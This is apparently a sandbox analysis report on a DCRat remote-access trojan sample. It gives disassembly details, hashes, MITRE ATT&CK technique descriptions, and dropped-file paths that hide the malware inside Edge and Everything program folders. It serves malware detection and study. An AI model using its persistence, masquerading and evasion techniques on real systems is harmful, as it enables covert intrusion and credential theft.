Function 00007FF63D4BF8E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00007FF63D4BF918

Part of subcall function 00007FF63D5489E0: WaitForSingleObject.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D5489ED
Part of subcall function 00007FF63D5489E0: EnterCriticalSection.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D548A03

CloseHandle.KERNEL32 ref: 00007FF63D4BF93F

Strings

restart folder read directory changes monitor %s %p, xrefs: 00007FF63D4BF8FB

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CloseCriticalEnterEventHandleObjectSectionSingleWait
String ID: restart folder read directory changes monitor %s %p
API String ID: 2183055276-745975738
Opcode ID: 5423d13eb52e1f77d355fc31562a0ffa5d2c0faaa1981bfa674e61689fecbd1e
Instruction ID: 40f1204bb7a8361e7858cc2847d29c771438cc902597fb88244248671da95b8e
Opcode Fuzzy Hash: 5423d13eb52e1f77d355fc31562a0ffa5d2c0faaa1981bfa674e61689fecbd1e
Instruction Fuzzy Hash: D6116D21906B8684F7809FA1E8543AD23A1FB98B68F084135CE9C877D5EF3AD4A4D311

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wxl1r0lntg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

C:\Program Files (x86)\Windows NT\0addff5cf70349

C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

C:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP

C:\Program Files\Everything\Changes.txt

C:\Program Files\Everything\Everything.exe

C:\Program Files\Everything\Everything.exe.exe (copy)

Windows Analysis Report
wxl1r0lntg.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre